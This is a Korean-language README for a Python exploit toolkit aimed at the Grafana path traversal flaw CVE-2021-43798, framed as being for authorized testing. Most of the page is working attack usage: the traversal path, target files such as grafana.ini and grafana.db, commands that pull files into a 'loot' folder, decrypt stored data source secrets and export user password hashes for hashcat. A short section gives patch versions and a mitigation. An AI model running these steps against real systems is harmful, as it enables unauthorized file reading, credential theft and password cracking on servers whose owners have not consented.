
승인된 테스트를 위한 Python 툴킷으로, CVE-2021-43798 Grafana 경로 탐색, 임의 파일 읽기 PoC, 시크릿 복호화, 보안 평가용 사용자 해시 내보내기 기능을 제공합니다.
CVE-2021-43798의 승인된 테스트를 위한 Python 도구 모음입니다. 이 취약점은 Grafana의 경로 탐색(path traversal) 취약점으로, 플러그인 에셋 경로를 통해 인증 없이 임의의 파일을 읽을 수 있습니다.
이 저장소에는 다음이 포함되어 있습니다:
grafana_poc.py: 다운로드한 파일을 로컬에 저장하는 대화형 임의 파일 읽기 PoC.grafana_pass_decryptor.py: grafana.ini 및/또는 secret_key를 확보했을 때 Grafana 암호화 데이터 소스 비밀값을 복호화하고, grafana.db에서 Grafana 사용자 비밀번호 해시를 내보내는 헬퍼 도구.이 프로젝트는 소유, 운영 중이거나 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 무단 악용 시 중요한 파일, 자격 증명, 개인 키, 데이터베이스 내용, 사용자 비밀번호 해시가 노출될 수 있습니다.
CVE-2021-43798은 8.0.0-beta1부터 8.3.0까지의 Grafana 버전에 영향을 미칩니다. 패치된 버전은 8.3.1, 8.2.7, 8.1.8, 8.0.7입니다.
이 문제는 다음과 같은 플러그인 에셋 경로를 통해 접근할 수 있습니다:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
승인된 검증 중 일반적으로 요청되는 파일은 다음과 같습니다:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
접근 가능 여부는 Grafana 프로세스의 운영 체제 권한에 따라 달라집니다.
requestspycryptodome 또는 cryptography의존성 설치:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
승인된 대상에 대해 대화형 PoC를 실행합니다:
python3 grafana_poc.py -H http://target:3000 -o loot
프롬프트에서 절대 경로를 입력합니다:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
다운로드된 파일은 원격 경로의 안전한 버전을 유지하면서 출력 디렉터리에 저장됩니다. 예:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
grafana.ini와 grafana.db를 모두 확보한 경우, 복호화 도구는 구성 파일에서 secret_key를 읽어 암호화된 데이터 소스, 알림, 플러그인 비밀값의 복호화를 시도합니다:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
암호화된 블롭 하나를 수동으로 복호화:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
줄바꿈으로 구분된 JSON 출력:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Grafana 사용자 비밀번호는 암호화된 비밀값이 아닙니다. 이는 솔트가 적용된 PBKDF2 해시입니다. user 테이블에서 내보냅니다:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
hashcat 모드 10900 라인만 내보내기:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Grafana를 패치된 릴리스로 업그레이드하십시오:
8.3.1 이상8.2.7 이상8.1.8 이상8.0.7 이상즉시 업그레이드가 불가능한 경우, Grafana의 보안 권고에 따르면 Grafana 앞에 요청 경로를 정규화하는 리버스 프록시를 배치하면 트래버설 동작을 완화할 수 있습니다. 이는 패치 적용을 대체하는 것이 아닌 임시 통제 수단으로 간주하십시오.
최초 공개 PoC는 Exploit-DB의 s1gh에게 공로가 있습니다. Grafana 비밀값 복호화 워크플로는 jas502n/Grafana-CVE-2021-43798의 공개 연구 및 예제에서 영감을 받았으며, 이 저장소는 랩 및 승인된 평가 워크플로를 위한 Python 헬퍼를 제공합니다.